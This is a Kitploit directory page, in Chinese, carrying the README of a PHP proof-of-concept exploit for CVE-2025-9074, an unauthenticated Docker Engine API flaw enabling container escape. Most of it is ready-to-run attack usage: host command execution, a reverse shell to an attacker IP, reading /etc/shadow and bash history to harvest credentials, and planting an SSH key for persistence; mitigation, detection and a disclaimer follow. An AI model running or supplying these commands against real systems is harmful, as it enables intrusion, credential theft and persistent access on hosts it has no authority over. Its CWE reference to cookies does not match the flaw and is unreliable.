Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-9074 — PHP PoC,针对 CVE-2025-9074 的漏洞利用 | Kitploit
工具/GitHubGitHub/c0gnit00/cve-2025-9074
权限提升Payload生成漏洞分析漏洞利用横向移动后渗透利用渗透测试云安全命令与控制远程访问工具容器逃逸
GitHub
53个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP PoC,针对 CVE-2025-9074 的漏洞利用

查看仓库

CVE-2025-9074: Docker Engine API 未授权远程代码执行

严重性:严重 | CVSS评分:9.8(估计) | 受影响版本:Docker Desktop < 4.44.3

一个针对CVE-2025-9074的概念验证利用程序,该漏洞是Docker Engine API中的未授权远程代码执行漏洞,允许特权容器逃逸并危及主机系统。

🔴 漏洞概述

CVE-2025-9074 是 Docker Desktop 中的一个严重漏洞,它暴露了 Docker Engine API,没有适当的身份验证或网络隔离。这允许远程攻击者:

  • 以提升的权限执行任意命令
  • 突破容器隔离并访问主机文件系统
  • 建立反向 Shell 连接到攻击者控制的系统
  • 危及整个容器主机及底层主机操作系统

攻击向量

  • 网络暴露:Docker API 暴露在网络接口上(通常是 2375/TCP 端口)
  • 无认证:API 接受无认证的请求
  • 特权容器:能够创建具有主机文件系统访问权限的特权容器
  • 绑定挂载:通过绑定挂载路径直接访问主机文件系统

📋 需求

  • PHP CLI(7.0+)
  • PHP 中启用了 curl 扩展
  • 能够网络连接到暴露的 Docker API 端点
  • Docker Desktop < 4.44.3(易受攻击的版本)

目标系统要求

该漏洞影响:

  • Windows 版 Docker Desktop < 4.44.3
  • Mac 版 Docker Desktop < 4.44.3
  • Docker Engine(当在没有 TLS 的情况下暴露时)

🚀 快速开始

安装

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

基本用法

在 Docker 主机上执行单个命令:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

反向 Shell

建立交互式反向 Shell:

root@kitploit:~
# 终端1:启动监听器
nc -lvnp 4444

# 终端2:运行利用程序
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 使用指南

命令语法

root@kitploit:~
php poc.php -u <url> [options]

选项

模式:命令执行

在目标上执行单个命令:

root@kitploit:~
# 简单命令
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# 从主机读取文件
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# 带清理
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

模式:反向 Shell

生成带回调的交互式 Shell:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

操作系统特定示例

Linux 目标

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Windows 目标

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

macOS 目标

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 实际利用场景

1. 侦察

root@kitploit:~
# 枚举主机系统
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. 凭据收集

root@kitploit:~
# 提取敏感文件
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. 持久化

root@kitploit:~
# 添加 SSH 密钥
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. 横向移动

root@kitploit:~
# 枚举正在运行的容器和网络
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 技术细节

漏洞机制

  1. 暴露的 Docker Socket/API:Docker API 在 0.0.0.0:2375 上监听,无需认证
  2. 特权容器创建:POC 通过 /containers/create 创建特权容器
  3. 主机文件系统绑定:容器使用绑定挂载访问主机文件系统:
    • Linux::/mnt/hostfs
    • macOS::/mnt/hostfs
    • Windows:/mnt/host/c:/mnt/hostfs
  4. 命令执行:命令在容器内以 root/SYSTEM 权限执行
  5. 主机文件系统访问:直接读写 /mnt/hostfs 路径

Payload 流程

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

代码分析

  • Docker API 交互:使用 cURL 进行 HTTP/1.1 REST API 通信
  • Docker 日志解复用:正确处理 Docker 的多路复用流格式
  • 跨平台支持:针对 Windows/Mac/Linux 调整绑定挂载路径
  • 超时处理:对长时间运行的命令设置 60 秒超时

🛡️ 缓解措施

立即行动

  1. 升级 Docker Desktop

    root@kitploit:~
    # 更新到 4.44.3 或更高版本
    
  2. 网络隔离

    • 将 Docker API 端口(2375)限制为仅本地主机可用
    • 使用防火墙规则阻止外部访问
    • 禁用 Docker API 套接字暴露
  3. 启用 TLS 认证

    root@kitploit:~
    # 使用 TLS 证书配置 Docker 守护进程
    # 在 daemon.json 中:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. 网络分段

    • 在隔离网络上运行 Docker Desktop
    • 实现零信任网络访问
    • 使用 VPN 进行远程访问

Docker Desktop 设置

  • Windows/Mac:禁用“在 tcp://localhost:2375 上暴露守护进程”
  • 仅使用 Unix 套接字(/var/run/docker.sock)进行本地访问
  • 通过 Docker Context 使用凭据实现身份验证

📊 检测

网络检测

root@kitploit:~
# 扫描暴露的 Docker API
nmap -p 2375,2376 -sV target_network

# 检查端口是否响应 Docker API
curl -s http://target:2375/version

日志检测

  • 监控 Docker 守护进程日志中的异常 API 调用
  • 对特权容器创建发出告警
  • 跟踪绑定挂载使用模式

⚠️ 免责声明

此工具仅供授权安全测试和教育目的使用。

  • 仅在您拥有或已明确授权测试的系统上使用此 POC
  • 未经授权访问计算机系统是非法的
  • 用户对其行为承担全部责任
  • 此 POC 用于授权渗透测试和漏洞研究

📝 参考资料

  • Docker 引擎安全
  • Docker API 文档
  • CVE-2025-9074 详情
  • CWE-784: 依赖未正确验证的 Cookie

🤝 贡献

欢迎贡献!请随时提交问题或拉取请求。

📄 许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。

👤 作者

安全研究员 | 渗透测试员


最后更新:2025年5月 | 状态:活跃研究

下载工具
OptionShortRequiredDescription
--url-u✅ 是Docker API URL(例如 http://1.2.3.4:2375)
--mode-m❌ 否执行模式:cmd 或 reverse(默认为 cmd)
--cmd-c⚠️ 用于 cmd 模式在目标上执行的命令
--lhost-l⚠️ 用于 reverse 模式用于回连的IP地址
--lport-p❌ 否监听端口(默认:4444)
--os—❌ 否目标操作系统:linux、mac、windows(默认:linux)
--cleanup—❌ 否执行后移除容器
--help-h❌ 否显示帮助信息